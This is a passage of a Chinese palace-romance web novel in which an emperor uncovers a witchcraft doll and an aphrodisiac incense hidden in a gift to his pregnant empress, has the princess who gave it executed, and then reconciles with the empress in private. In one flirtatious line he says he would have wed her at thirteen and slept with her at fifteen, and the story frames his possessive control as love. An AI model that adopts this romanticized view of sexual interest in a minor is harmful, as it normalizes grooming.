龙床边上的雨影银丝纱低垂下来,于一室静谧的烛灯光亮下朦胧地遮住了媜珠的纤柔的身影,她是楚楚可怜,柔肤弱体,姿态荏弱地靠在皇帝的身上,被人温柔地哄着服下了一口汤药。
听到王医丞这老匹夫在这胡言乱语,周奉疆这才想起来找他算账,他将媜珠轻轻放回榻上躺下,撩起纱帐起了身,提起声量直斥王医丞道:
“朕还未寻你算账,你倒敢对朕指手画脚起来!老匹夫,张氏献来的那琉璃瓶你是见过的,朕也叫你细细查过可有异样,还问你那琉璃瓶中的香气是何物,你是怎么告诉朕的?就因为你说那瓷瓶无误,香气也于有孕的妇人无害,朕这才敢叫皇后摆在殿内!但凡朕迟几日发现那腌臜下作的物件,这东西真伤了皇后和胎儿,你几个脑袋够朕砍的!”
王医丞一下便汗如雨下,当即跪伏在地:
“陛下的意思是……那琉璃瓶中有些、有些……?”
皇帝将那只人偶丢到他面前:“你再去闻闻,这到底是什么香!”
王医丞惊惧起来:“这、这、这——”
皇帝压低声音冷笑:“是谁将这人偶置于琉璃瓶中的机关内的?朕几日不曾发觉,夜间宿于这殿内,总有些血气上涌,忍不住想……这东西似乎还只对朕有用,皇后和殿内侍奉的宫娥嬷嬷们,怎么就不见在她们身上起效?”
王医丞一下大彻大悟了:“那这香气恐怕是外邦波斯国和大食国宫廷内常用的血鸦香了,臣的确有所耳闻。臣知晓此物!臣年少时游历西域,听闻西域宫廷王妃侍女们争相欲求此香争宠……此香只对、只对男子有效,于女子则毫无用处。臣一时当作新奇,并未留意。又因此香极名贵,常为西域宫中秘用,臣虽有耳闻,可是却不曾亲自见过,起先更不能知此香究竟是何味道啊陛下!”
王医丞连连磕头起来:“臣实在罪该万死,臣愧对陛下、娘娘的重用!”
周奉疆微微哂笑了下,“你说这血鸦香十分名贵珍奇,便是在外邦异国,也只有宫中可用?”
王医丞道是,“昔时似乎有人和臣提了一嘴,说这血鸦香,哪怕只有指甲盖大小的一小块,也要先捉一千只公乌鸦来配它呢!要取一千只公乌鸦的心来,生剖出来,投入大炉中熬煮,期间还要加入黑月桂、玫瑰……所以常是西域贵族女子、妇人为争宠,求丈夫宠爱,偷偷于房中所用,而且哪怕只有一点点也要价值千金。”
周奉疆不耐烦地打断了他,“朕知道了。”
设局之人的确耗费了良多心血,也打定主意认定了哪怕是交给宫中太医署的医者们检查,这些医者都未必能察觉出异样来。
即便有人能听说过它,也没有机会亲自闻过它的味道,根本认不出它。
王医丞被皇帝撵下去时,还不忘为自己辩驳一句:
“臣虽有罪不曾先认出此物的香气,不过多赖陛下福泽庇佑,娘娘凤仪之尊,此物并不能伤到娘娘和腹中龙胎,陛下、娘娘尚可宽心。”
言下之意就是媜珠今晚动了胎气还是不能怪他。反正他永远有他的道理。
王医丞离开后不久,浓墨的夜色中,张玉令及跟随她自龟昌而来的随从、婢女们也一箩筐被皇帝揪了过来。
皇帝准备自己亲自去别处审问他们,叫媜珠好好歇一歇,安心睡一觉。媜珠不肯,坚持要披衣起了身,和他一起过去。
这些人被皇帝命人带去了椒房殿的偏殿里,一下便乌泱泱跪了一地的人。
张玉令俯首跪叩天子和皇后:“陛下漏夜召妾等前来,妾心惶恐,不知陛下有何吩咐、问询。”
周奉疆嗤笑了声:“你惶恐?你当然惶恐!不只是你该惶恐,你外祖高家所有人的人头在脖子上都不太稳当。”
此时已入了秋,虽还未到能烧炭取暖的季节,但周奉疆怕夜间寒气伤了媜珠,亲自给她裹了层厚实的披风,将她严严实实地裹了起来,安置在殿内的宝座上,他自己步下高台,亲审张玉令。
张玉令当然是不认的:“陛下!妾、妾实在不知陛下何有此言,妾与高家全族乱世中得以保全性命,皆仰仗陛下恩泽垂祐,陛下若要取妾和高家的性命,妾甘愿赴死,只是妾不知陛下为何……”
皇帝从袖中取出那只人偶又丢给了她:
“现在知道了?”
长沙公主姣好面容上的表情经历了好一番力求生动的变化,也许她也用尽全身力气表演自己的情绪,让自己显得确实无辜、继而困惑、然后是恐惧、害怕,最后也同样愤怒地谴责到底是谁在宫中行巫蛊之术。
但周奉疆没有耐心等完她这一出戏的落幕,他不耐烦地斥她:
“朕不是你前楚的亡国之君张道恭,更不是谁都能来朕面前东诳西骗的!你当朕当真看不出你那点贼心思?朕只是懒得和一介亡国妇人计较!”
“夜深了,皇后也倦乏了。朕再给你半炷香的工夫,你若从实招来,朕尚可不牵连你外祖高家。你若再敢狡辩喊冤,半炷香后,不论你认不认,朕明日就会把连诛五族的诏书送到你外祖父面前。”
张玉令凄然一笑,跪倒在地,即便心中惊涛骇浪,可越是这样关键的时候,她越是要沉住气的。
她愣愣地捧起那只人偶,低声喃喃道:“这宫中……这宫中有人对陛下行巫蛊之术,此人实在罪该万死,可,可妾,可妾方历经车马劳苦重回故乡,陛下为何一心认定是妾所为?妾连这人偶为何会出现、出现在何处也并不知情啊!陛下救妾于水火之中,妾感激陛下还来不及,妾永生永世感念陛下的恩德,妾不会这么做的!”
佩芝站在一旁板着脸回了一句:“这人偶被陛下发现于长沙公主所献皇后的琉璃瓷瓶暗格内。王医丞来检查过,人偶里还沁了西域的血鸦香,那血鸦香又是给男子催情所用的。长沙公主,您当真不知情?”
她忽然惊叫了一声:
“陛下,陛下,妾当真是冤枉的!陛下您瞧,您瞧啊,这人偶所用的布料乃是蜀地丝锦,是蜀锦啊!这样好的料子,只有宫中帝后可用,妾漂泊异国多年,即便是妾所为,妾何来这样的料子!何况,何况当日妾将那琉璃瓶献给皇后娘娘,妾也请皇后娘娘叫医者们来查验过的!——娘娘多日不说宝瓶有异样,为何今日其中就多了个什么暗格,又冒出了这人偶呢?妾实在不知!”
张玉令哀哀哭泣起来:“求陛下明鉴!求陛下明鉴!若能还妾一个清白,妾死也甘心了!”
媜珠一下警惕地悬起了心。
包裹在那人偶上的布料的确是蜀锦,也的确只有帝后可用。
张玉令离国数年,按理来说,她当然不可能还有这样的布料了。
如今的皇帝不可能自己诅咒自己,那照她所说,唯一还能行此术的,嫌疑最大的不就是她这个皇后?
那样的料子,她记得自己隐约当真有过几匹,有些裁了衣裙,有些被她拿去做了些香囊赠给宫外的王妃公主们。
她确实无法解释为什么这人偶身上会用了蜀锦布料。
张玉令把脏水朝媜珠身上泼去,媜珠也是辩无可辩,一时间不知如何解释。
周奉疆及时便安抚了她:
“你不用说话。你是朕的皇后,谁敢毁谤朕的皇后,该由朕先处置了这些人……几时轮到朕的皇后自降身价和这些人解释起来?若有一万人议论皇后,是砍一万个人头容易些,还是要朕的皇后为这一万句话一一辩驳清白?滑天下之大稽。”
张玉令的心瞬间像被什么东西碾压过,碎成了一地齑粉,连痛觉都不复存在,只觉得浑身麻木。
她苦笑一声,至今仍是那样的无辜、仿佛受尽了冤屈。
“陛下宠爱娘娘,而妾卑贱如尘泥,万般的罪责当然由妾这等罪人来承担了。为陛下和娘娘而死,为陛下和娘娘而认罪,妾心甘情愿,再无他话。”
周奉疆望向跪在一旁的其余人,耐心渐渐被耗得一丝不剩:
“张氏用的血鸦香不是轻易能得来的。朕是否可以断言称,此事龟昌国王等亦有参与?你们是跟随张氏和亲龟昌的,如今又跟随张氏回来,张氏的一举一动,难道你们不知情?”
“有能检举者,朕尚能饶过你们一命。”
皇帝话音刚落下没多久,跪伏在地的众人中,一个和长沙公主年龄相仿的年轻女子哗然起身几步,跪在皇帝前,抬首道:
“妾高氏拜见陛下、娘娘。张氏有如此悖逆之行,欲谋害陛下、嫁祸娘娘,妾委实不知张氏包藏祸心。然妾有只言片语愿禀告陛下,
一则,张氏说蜀锦珍贵,她漂泊异国数年,不能得蜀锦。此言非也。张氏昔年和亲龟昌,前楚洛阳宫中陪嫁颇丰,其中便有蜀锦二十匹。直至归国时,张氏尚未用完。张氏还曾将蜀锦赏赐给贱妾些许,妾有一荷包便是蜀锦所制,今存于妆奁内,可取于陛下所观。
二则,张氏口口声声说龟昌新王苛待她,实则非也。张氏临归国前,龟昌新王数度召见张氏,并且意在力劝张氏归国后献媚于陛下,充作陛下的后宫,以此为龟昌国美言。血鸦香的确难得,妾等居于龟昌宫廷也有数年,只听闻而不见之,但张氏恐怕是有机会能得此物的。
以上种种,妾如有半句虚言,愿受天地共遣,永生永世不得解脱。”
她叫高文袖。
公主和亲,往往并不是她一个人带着奴仆们就前往异域他国的。
史书会记载公主和亲的年份与公主本人的封号,但并不会详细记载那些为公主充作陪嫁的其他女子。
这些女子有宗室女,也有臣僚女。她们也在大好的年华突然被朝廷选中,承担了和公主同样的命运,跟随公主彻底拜别父母亲族,默默无闻地嫁去异国他乡。
高文袖就是当年被选中为长沙公主陪嫁的臣下女之一。
她是公主外祖高家的女儿,是长沙公主的表妹,是公主生母高皇后的嫡亲侄女。
十七岁那年,她本应嫁给门当户对的青梅竹马,却因公主命运的改变,连带着也改变了她的人生。
如果她安安静静地跟随着预定的命运,做一个世族之女,嫁给另一个豪族子弟,她会成为一族宗妇,为丈夫生儿育女,体面顺遂地过完自己的一生。
但当她被选为公主和亲西域龟昌国的陪嫁时,这些就全都变了。
她不再有自己的名字,甚至连自己的姓氏也不会再被史书提及。
她的牺牲,她的人生,仿佛也是无关紧要的。
她成了公主的媵人,为奴为妾地在龟昌王宫里伺候公主与那位龟昌老国王。
她不喜欢那里。
那里的人穿着她没见过的衣服,吃着她不喜欢的食物,说着她几乎听不懂的话。那一切都令她感到恐怖,瘆人,凄惨,又无法改变。
在龟昌王宫里的每一个夜晚,她都在想,数千里之外的家乡,她的母亲今夜有在思念她吗?她的母亲也有这样为她哭泣吗?
她本以为她这一生都会枯萎在异国的宫廷里,从未想过自己还有重回故土的一日。
高文袖话音刚落,张玉令一下便跳起来指着她骂道:
“高文袖!你,你敢如此污蔑我,你,……你不得好死!”
高文袖冷眉相对:“张玉令,你实在蠢到无可救药。”
那一声无可救药里也许也饱含了她太多的无奈。
说句难听的,事情到这个地步了,此事究竟是何人所为,连她们都看得清清楚楚,难道皇帝会不知道吗?
坦然承认,好歹还能挽回高家其余无辜人的性命。她不能看着张玉令将高家其他人的命拿来当作她冒险的代价。她张玉令凭什么敢这么做?
更何况,皇帝根本并不需要等着张玉令认罪了才能处置她。
他不过是想替自己被诬陷的心爱之人解个气罢了。
皇帝倒是对高文袖的坦诚颇为满意,命人赏赐她千金。
见高文袖得天子赦免与赏赐,其余人等亦蠢蠢欲动起来。
到这时候大家都看明白了,皇帝这次把他们全召来,根本不是为了查验真相的。
皇帝自己心里已经有了真相,如今只看谁能站出来向他坦白,他就能赦免谁。
不论他们是否检举公主,长沙公主本来就难逃一死。现在要紧的是他们自己的命。
终于,又只有转瞬之间,另一个女子也站了出来检举长沙公主,声音颤颤,一边说话一边害怕得浑身发抖:
“陛下,妾孙氏,乃长沙公主之侍婢,贴身服侍公主数年。这人偶……这人偶,奴婢所见,的确是公主亲手所缝制的。不过公主缝制此人偶,并非为诅咒陛下,而是为了和皇后娘娘争宠。是,是西域那些胡巫们告诉公主的,用一根金针穿过人偶心口,将公主的三滴血藏在人偶内,还有一只相配的金锁扣悬于公主胸前,此物可以帮公主夺得陛下所爱,令陛下转而宠爱公主。那金锁扣公主从不离身,时时刻刻带在身上,陛下查过便知。人偶上的那根金针末端刚好能插进金锁扣里的!还有那人偶内还有三滴血!”
孙氏婢女有些言语颠倒地说完这番话,说完后她便害怕得大哭起来:
“陛下,求陛下娘娘饶过奴婢,奴婢随公主和亲多年,未曾想有能重回故土之日,奴婢不想死,奴婢还想回老家找一找奴婢的父母家人,奴婢不想死!”
皇帝微笑,也命人赏她千金。
他望向张玉令:“张氏,纵使你是前朝的公主,朕还给你几分敬重。——就不用朕对你搜身了吧?”
张玉令面色铁青地看着眼前这一切。
忽然,她自嘲地笑了,这笑容前所未有的轻松,坦诚,自如,并不是任何伪装出来的笑。
这个笑容真正属于她自己。
“周郎……周婈珠那贱婢在洛阳曾和我说过一件事,我本来一直不敢相信,但现在也不得不信了。”
“周郎,当年我为什么会属意于你?
——营州奚族来犯,张道恭上言劝我皇兄让我和亲,而你杀了奚族王子,免去我和亲之苦。从此,我憎恶张道恭这没用的懦夫,转而仰慕起了你的骁勇。不只是我,整个洛阳的人都说这位周将军了不起,说是这位周将军一振国威!好了不起!”
“周婈珠告诉我说,其实一开始我就只是你和张道恭斗法的一个棋子。你早就准备去追杀奚族王子,而张道恭原先从未想过让我和亲。
你是找人撺掇张道恭,是你找人力劝张道恭提议让我和亲。你是害得我和张道恭不睦,继而和周婈珠不睦,最后被这对狗男女害得远嫁龟昌和亲。”
“我这一生,都是你棋盘上一个连名字都没有的棋子!是你,是你在害我!这一切都是你在害我!我的命数,就是连一枚棋子都不如。”
“让我想想,当年你为什么要和张道恭斗法?为什么要用我来暗害张道恭?”
她嘲弄的目光转向了宝座上的周媜珠:
“——因为那个淫妇当年和张道恭正两情相浓,你也看上了这个淫妇,你也想把这北地第一美人抢到手来玩一玩,两个男人为了女人争斗起来,于是你就算计张道恭。”
“我是一朝亡国之君和又一朝开国皇帝争斗的一个弃子,我的命从来不由我自己说了算。”
她坦然地高昂着头颅与媜珠对视:
“你以为你又算得了什么?你比我幸运,比我尊贵,比我命好?你不也是男人掌心里的一个棋子、玩物?哪一日你失了宠,你的命还不如我。”
她眸中的怨恨一下灼伤了媜珠,连媜珠不由得一阵寒意上涌,手足发凉。
周奉疆对这个女人声嘶力竭的指控并不以为意:
“棋子?你?张氏,你未免太高看你自己。怎么,哪怕没有朕当年对张道恭的算计,你的命就会好到哪里去?”
他浑不在意地笑了笑,
“你大可和张道恭姑侄情深,亡国之际跟着你的好侄儿一起逃命,然后跟着他在路上饿死。哦,还可以被沿途的流氓无赖、军士兵卒侮辱骚扰,最后不明不白被人拐走,不知死在何处。你张家那些姐姐妹妹的公主郡主们,最后不都是这个命?”
“还有你的皇嫂陈太后,被士卒宿奸,不堪受辱而死。”
他最后这话像是在安慰媜珠:“朕从不信天生好命之人会被旁人毁运,好命便是好命,坏命便是坏命,该是你的,谁也抢不去。”
该是好命就是好命,该是坏命就是坏命。
前楚的亡国宗室们,生在这个乱世,注定没有好下场。
前楚公主们不论是嫁给文臣还是武将,不论和皇帝关系亲疏,最后下场都是那样。
就算他从不曾设计挑拨张玉令和张道恭的关系,就算张道恭没有让张玉令和亲,张玉令的命数也只会更差。
而媜珠天生好命,她生来就该做皇后。
前世她是他的周太子妃,周皇后。
今生她还是他的赵皇后。
这些都是旁人无法更改的。
周奉疆如是想道。
张玉令抹了一把眼尾的泪珠,嘲弄地看着帝后二人:
“好命坏命,不可更改?我怎么就不信这话呢?周郎,当年在洛阳你也曾许诺要娶我。若我当时非要嫁给你,非要你娶了我,把我带回冀州北地,我的命是不是就更改了?”
周奉疆头也不回地道:
“朕当年在洛阳会仙楼里许的愿是,愿待建功立业之日,出人头地之时,方可迎娶心爱女子,不叫她跟着朕吃苦受罪。”
“怎么,这里面半个字提到了你?”
张玉令愣愣地看着他,思绪再度飞回了十年前的那一日。
十年前,她十九岁,还是高高在上的长沙长公主。
她恍然悲怆地大笑起来,这一笑就不可止歇。也许以后她都不能再这样痛快地大笑一场了,现在痛痛快快地笑一场,还是值得的。
周奉疆最后和张玉令说的一句话是,
“张氏,朕再说一遍,朕不是你前楚的张道恭,朕不想要的女人,谁都不可能塞给朕。”
……
后来在临死之前,长沙公主想到的又是什么?
她忽然极悲哀地意识到,她其实并不比那个蠢笨周媜珠聪明多少。
她绝望地发现,她这一生,不仅活得不聪明,而且其实从未被人爱过,也从来没有人真心为她考虑过余生。
看似花攒绮簇、镂金铺翠的前半生,是穆宗皇帝的幼女,继后所生的嫡公主,代宗皇帝一朝最受宠的长公主,背靠着世族高家的外祖家,其实一切都是虚的,一切都毫无用处。
父亲穆宗皇帝的音容样貌她根本毫无印象,如今再想想,她这个所谓嫡女、幼女的名头,在父亲眼里什么也不是。
他不过是为了权衡前朝后宫,同时还要兼顾满足他自己的需求,于是在世族中挑选了一个合适的年轻女子作为继后,毫不在意地宠幸过她,任由这年轻的继后生下了一个女儿。
彼时他已年老体衰,精力并不充沛,连这个幼女抱也不曾抱过几次,满脑子想的都是在他成年的儿子里挑选一个合适的储君。
后来兄长同父异母、年纪大的可以做她父亲的代宗皇帝即位,因为她生母高皇后曾为代宗美言过许多,代宗对这个继母和她这幼妹也是纵容宠爱。
然而这宠爱更是虚得不值一提,一文不值。
她娇纵任性,无法无天,得罪过不少人,代宗从未说过她什么。
为什么不说?是因为真的宠爱她?还是因为他觉得她有这样娇纵的资本?
都不是。
只是她不是他的亲生女儿,不是他在意的人,姑且看她还没有得罪到他头上去,他懒得说而已。
他分明知道她这个脾气以后一定会遭到报应,吃到苦果,但他就是懒得多管她半分。
包括后来,他已决意立河间王张道恭为太子,也知道她和张道恭不睦,水火不容,更知道等张道恭即位了,她这个姑母肯定没有好下场,但代宗都懒得管。
若他是真心宠爱她这个小妹妹,真心为她的将来考量过,那么他一定会设法调节她和张道恭之间的矛盾,一定会好言规劝她,叫她和张道恭好好相处,更会用心叮嘱张道恭好好待她,别和她一般计较。
除了父亲和兄长之外,那母亲呢?她的母亲高皇后爱她吗?
也许也没有那么多。
母亲崩逝那年,她才五岁。
她最后只记得伏在母亲的病榻前,母亲心心念念的最后一件事,是叫她长大后嫁回外祖高家,为高家添光增彩,因为高家上一次迎娶公主还是在七十余年前。
这是母亲对她最后叮嘱的事。——一定要嫁回高家。
她甚至没有叮嘱她,以后好好地活着,叫她乖巧懂事,按时吃饭,天冷添衣。
至于外祖高家呢,看似对她纵容宠爱,满足她的一切索求,实则也不过是想从她身上捞点好处,让她在代宗皇帝面前为高家多说好话而已。
没有一个人真的为她考虑过,没有人在意她的将来。
至于她自己,更是愚钝蠢笨。
和张道恭不睦,和周婈珠不睦,任性妄为地肆意宣泄着自己的情绪,她也从没想过,等失去代宗的庇佑之后,她以后会是什么样?
她做的一切事,都没有给自己留有余地,都没有考虑过后果。
还有,她还一厢情愿地把自己的“将来”托付给了她幻想中那个不值得的男人。她太自以为是,以为但凡是她看上的男人都该爱上她,等着她,一定会娶她。
所以她成了一个没有将来的人,她的一生会这样草草收场。
不过,张玉令并不后悔。在放入那只人偶的那一刻,她就早已知道,此事并非只有成功没有失败,她也明白若是事败她的下场会如何。
为什么不后悔?
这是她此生唯一一次能为自己做点什么,她总要试一试才好。
亡国之后,她前楚张家的其他公主们是什么下场?
她们的下场也都不好,不明不白死了丢了那么多人,她们都没得选,就这样被人凌虐、欺辱。
而她好歹还能为自己搏上一搏,输了也不可惜了。
既然结局如此,好像也没什么奇怪的,她的运气不大好,就像前楚的国运一样,是该走到头了。
生命前的最后一刻,她忽然望向身侧监督行刑的宦官:
“我死后,史书会如何记述我的一生?”
这个问题,张玉令以为不会得到回答,但令她意外的是,那个宦官竟然对她微微一笑:
“会怎么记述您?”
“——穆宗有女十六。长沙公主,穆宗第十六女,母昭德高皇后。大有宠,因高后故,代宗爱之。主性骄戾,建德不喜,嫁龟昌王乌其莫。越数年,乌其莫死,主归国,病笃,薨,年二十九。”
仔细数来,这段话还不足百字,这就是她的一生了。
“公主,您的一生,不过是如此了。我们皇后殿下怜悯公主,不会叫人在史书里为您记上一笔,说您勾结龟昌新王,谋求归国,还许诺为龟昌王索要汉家城池土地和财帛金银,算是保全了您永世的声名。”
“后人一览公主生平,只会怜惜公主一生不顺,不会痛骂您是非不分,通敌叛国。”
张玉令也笑:“你们皇后当然仁慈了,不知道你们的史书里会不会写上一笔,说她是先冀州侯周鼎的亲女儿,和杀了自己兄长族人的仇人滚到了一张榻上去。”
宦官又低低笑了:“我们皇后会是帝母,来日配食天子宗庙,合葬帝王陵寝。她是什么出身未必重要了。”
“但愿她笑到最后,我在阴司地府里等着瞧。”
这一夜的腥风血雨渐渐归为宁静,风浪平息,一众人等都被再度悄悄带了出去。
媜珠被周奉疆抱回了寝殿里。
她似乎还是没有缓过神来。
第95章
被周奉疆裹着披风抱回寝殿时,媜珠犹觉得有些浑浑噩噩,仿佛方才发生在她眼前的一切都是不真切的,如在一场虚幻的梦中。
——今天晚上,是他救了她一条命。
即便她知道自己是无辜的,但她的命的确是侥幸捡回来的。
媜珠惊魂未定地攥着自己的衣袖,于一片昏昏沉沉中控制不住自己不停地思索着今夜之事其他种种可能会发生的状况。
张玉令最终在四面楚歌的检举之中被迫认下了罪,但这并非她的本意,若非局势实在对她不利,若不是周奉疆无条件地袒护她这个皇后,张玉令一定会一遍又一遍地朝她发难,直到她也彻底招架不住她的质询,引诱着皇帝将怀疑的目光也投到她身上。
现在她想起方才张玉令逼问她的那些话,媜珠还是一阵脊背发凉。
譬如那人偶上所用的蜀锦布料,能得到这样布料的只有宫中的帝后,身为皇后,这人偶被皇帝发现在她的殿内,她该怎么解释此事和她无关?她该怎么解释这布料不是她的?
她根本不知怎么辩解,也完全招架不住长沙公主的连环计。
——如果今天晚上审理此事的男人、掌握着所有人生杀大权的男人不是周奉疆,她自己还会有这样置身事外的好命吗?
但凡换成其他任何一个皇帝,任何一个男人,当听到张玉令对她的质问时,他们一定也会将眼神转移到自己的皇后身上,然后若无其事地淡淡问她:
“皇后,此事你如何解释?”
“皇后,此事当真与你无关否?”
如果是张道恭……媜珠相信张道恭一定会这么做的。
但周奉疆没有。他自始至终没有怪罪过她半分。
明明她之前无数次挑战过他帝王的权威,抓伤过他,刺伤过他,也无数次张口闭口就咒他去死,骂他活不长,但当发现有人行巫蛊之术诅咒他时,他没有怀疑过她半分。
如果不是他当机立断将张玉令和张玉令身边的人一道带进宫中审问,如果不是他一再威压,逼迫张玉令身边的人站出来检举,张玉令不会轻易露出破绽、被迫认罪的,这场“巫蛊局”更不会如此容易地收了场。
或许从前对他的恨意并未消散,但此刻心中的动容也是真的。
她抱着他的臂膀,伏在他肩头低声哽咽,仍是心魂不定的模样。
周奉疆抚着她的背哄她睡下,仍是一遍遍极耐心地哄她别害怕,告诉她说,这些全都过去了,他会为她主持公道,也会惩处张氏他们的。
面上是款款温情,可他心中何尝没有憋着一股火气?
——其实周奉疆今晚上是很想好好教训她一番的。
温顺善良、柔婉单纯,是她的好处,是爱她的人喜欢她的缘故。但太过善良单纯,多少年来都蠢得毫无长进,就算是只母老虎也早已在山中饿死了,何况她还是只食素的兔子。
他从未怀疑过自己能永世庇佑呵护她,但他还是希望,她能聪明一点,工于心计一点,再心狠一点,自私一点。
若不是顾忌她怀着身孕,若不是因为她刚受了惊吓动了胎气,他今晚一定会不留情面地再好好教训她的。
他还要告诉她,张家的人就是没一个好东西,张道恭是这种人,张玉令也不是什么好人。
只有哥哥最爱你,你能信任、能依靠的只有哥哥。
可……可就算不顾及她,好歹要念着她肚子里的孩子,十月怀胎里,他有再大的气也不好撒到她身上去的。
媜珠稍稍回过神来时,是周奉疆拿着温热的巾帕在擦拭她的脸,他问她身上还好不好受,又一再劝她早点睡下,好好养着身子。
媜珠轻轻摇头说她无事,又说她不困,睡不着。
她眼下有一抹疲倦之色,紧紧抱着周奉疆的手臂,忽然开口对他说:
“陛下,妾今夜想和陛下好好说说话。”
周奉疆将手中的巾帕丢回一旁宫娥捧着的银盆里,垂眸看她:
“想好好和我说话?说什么?”
“陛下……”媜珠正要开口,周奉疆打断了她,
“既然想好好和我说话,四下无人之时,你还称我为陛下?你还自称为妾?我不喜欢听你这么说。”
媜珠被他无端打断,有些委屈地抿着唇看着他,他拍了拍她的脸:
“叫伯骧哥哥,叫夫君,叫哥哥,都可以。以后没有旁人在时,不许再称我为陛下。”
他又补充了一句,“若是你心情不好想找茬和我吵架的时候,叫我的名字也行。”
她已经很多很多年没有再好好地叫他一声“哥哥”了。
明明那是她幼时学会张口说话时叫出的第一个词语。
媜珠犹豫半晌,试探着道:
“伯骧哥哥,本宫有些话要跟你说。”
……
周奉疆当真是被她气笑了的。
他一下笑出了声来,胸腔震动,连带着媜珠也感受到了他的这份笑意,不由得唇角弯弯,莞尔一笑。
须臾,他收敛了笑意,严肃认真地看着她:
“但请娘娘吩咐,臣必洗耳恭听。”
媜珠细声细气地低声启唇:“今晚的事,是我的疏忽,我该好好谢谢你,谢谢你保护我,相信我。”
“还有呢?你就只想和我说这些?”
媜珠点了点头。
周奉疆故意冷了几分脸色,既然是她毫无睡意,那也不怪他要拉着她熬下去了。
“娘娘无话可说,臣还有些话想问问娘娘,还请娘娘为臣答疑解惑。”
“还记得你刚才都和我吵了些什么架吗?一则,你说我好色,说要让我去碰那些西域使臣们送来的美女,这话是你说的吧?”
媜珠瑟瑟地缩了下脖颈。
他看她这样子,无奈地叹了口气,
“我说过我只会有你一个人,也只有过你一个女人。以后这些气话,能不能不要再说了?娘娘,您这是侮辱臣的清白。臣要是敢张口说娘娘人尽可夫,娘娘说不定要气得再从楼上跳下去一次的。”
媜珠刚承了他那么大的恩情,现在是吃人嘴软的时候,当然不敢再和他辩驳什么,只能一一点头应下。
周奉疆继而细细回想媜珠刚才还说了些什么,又和她算账道:
“你说你知道张氏给我写过信?是张氏告诉你的?你为什么不来问我?”
提起这一桩,媜珠也有些委屈:
“还要她来告诉我?她给你写的信就那么大张旗鼓地摆在你宣室殿书房的桌上,我那次去找你问周奉尧的死因,就那一天,我亲眼看见了的!”
周奉疆很无奈:“那封信是随着龟昌使臣寄来的国书一道送来的,我一个字都没回,原封不动地退回去了。我和张氏从无私情,你既看见了,为何当时不亲口来问我?”
媜珠冷笑:“我问你了啊。那天我问过你有没有什么秘密瞒着我,你一个字都没提那封信。妾不敢做那等争风吃醋的妇人,惹陛下嫌恶厌烦,当然不敢死缠烂打刨根究底。”
周奉疆顿时有些哑口无言,许久后他才辩解道:“这算什么秘密,我从来都没放在过心上,我以为不值得和你一提。何况,”
他也翻起了旧账,“何况皇后娘娘当时给建德皇帝寄了多少信,说什么祝建德皇帝日月升恒,德被四海,臣也没敢吃过什么醋。张氏给臣寄来的信,臣连一个字都没回过呢。”
媜珠竖起蛾眉:“伯骧哥哥,你敢和本宫顶嘴!”
这一件遂到此为止,谁也不再多提了。
片刻,周奉疆又问她,“我记得你还和我说过,说你知道外头有人沸沸扬扬传我和张氏有什么私情,说我和张氏有什么过往,这话是谁告诉你的?我和张氏有什么私情过往?你再说给我听一听,好不好?”
媜珠咬着唇忸怩着不肯开口了。
周奉疆微笑着看着她,顷刻之间他自己思索过近来媜珠的种种行径,心中顿时彻悟:
“又是琅琊公主过来跟你编的新谎话?你这辈子要听她多少谎话才甘心?”
前段时间,赵太后身边的福蓉出宫去看过琅琊公主,并且福蓉回宫后又来过椒房殿。
当时周奉疆没把这点小事放在心上,现在联想起来,他还有什么是想不明白的。
媜珠当即回道:“二姐姐跟我说你当年在洛阳见过长沙公主,这算是谎话吗?二姐姐说当年长沙公主有意招你做驸马,你也不曾拒绝公主,这也算谎话吗?这不是人尽皆知的事情,为什么陛下不告诉妾,为什么妾不能知道?”
周奉疆一时失笑:“你很好奇当年我去洛阳的事情?”
媜珠低头不语。
周奉疆笑了一阵,幽幽开口:
“当年张氏的确曾在洛阳的酒楼里召见过我,然当时是我坚称公主尊贵,召见外男应以屏风相隔,公主若不设屏风,臣宁愿抗旨而死也不能见公主。
后来张氏设了屏风,我才去隔着屏风和她说了几句话。我连她那时候长什么样子都不知道。”
“她确实问了我做驸马的事,并且暗示我说,史书里多少的王侯将相,都是娶了公主才富贵的。她说我尚且年轻,只是根基浅薄,可否有意效法前人?”
“我说,我地位卑贱,人微言轻,只想先立业再成家,待建功立业之后方可迎娶心爱的女子,不能叫我心爱的女人跟着我吃苦。”
“在这之后我很快就离开洛阳,回到冀州了。我跟她也再没有过半分交集。娘娘,您安心了吗?”
他捏着媜珠的下巴,逼媜珠抬起头和她直视:
“你说,我十年前就在洛阳说过想娶的那个女人是谁?”
媜珠别过了眼:“十年前我才十三岁。你禽兽不如。”
“女子十三可为人妇,只恨我今生生来并非富贵子弟,我若生来便有权势,你十三岁时就该把你娶到手中。”
他靠在她耳边轻轻吐出后半句话,“不过娶回来可以先当女儿养着,养个两三年,等你十五及笄之后再睡也不迟。”
不等媜珠发怒,他又立马向她抛出下一个问题:
“所以你早就暗中怀疑我和张氏不清不楚,那等张氏那日来拜见过你之后,你为何又不怀疑她了?为何又敢把她送的琉璃瓶摆在殿中?”
媜珠恨恨地拍开他的手:
“她跟我说她和你是清白的,外头的那些流言蜚语是有人恶意中伤她,她也从未有过什么非分之想。”
“所以你就这样轻易信了她?”
媜珠忽然抬头瞪着他:
“我还能不信她吗?我巴不得事实当真如此,我只能信了她!如果不信她,往后的日子我该怎么熬下去?就像从刚知道此事开始,我日夜焦虑悬心,郁郁寡欢,没有一夜是安心睡下的!她告诉我她和你什么都没有,她也劝我安心,我当然只能相信她!”
第96章
她难得这样对他吐露心迹,话中的怨怼与愤恨之意是显而易见可以听出来的。
这段时日里,她过得并不快乐,在他的眼皮子底下装了满满苦涩的心事,独自一人来回受着煎熬,甚至她还怀着身孕啊。
周奉疆心中抽痛,泛起阵阵怜惜,给她顺了顺披散的长发,又不由感到浓浓的酸楚、疲倦和无奈:
“这些日子你心情总是不太好,就是为了这个?为什么不告诉我?何苦这样折腾自己的身体?你若是告诉我,当面和我提一嘴,咱们把事情都说开了,你不是也少受许多这种心事的折磨?”
他倦怠地苦笑了下,心头的无可奈何渐渐渡成一股对她痛惜而生的恨意。
一个张氏到底算得了什么?就为了一个张氏,就为了这样一点微不足道的小事,惹得她孕中悒悒不乐,郁郁寡欢,险些损伤身子和腹中的胎儿。
就为了这么一桩小得不值一提的小事。
这样的愤恨和痛惜该如何形容?
好比一个绝嗣的皇帝折腾了几十年,到了五六十岁膝下还没个一儿两女的,忽然哪天,他一个宠妃走了个福星高照的大运,竟然有妊,为老皇帝诞下了一子。
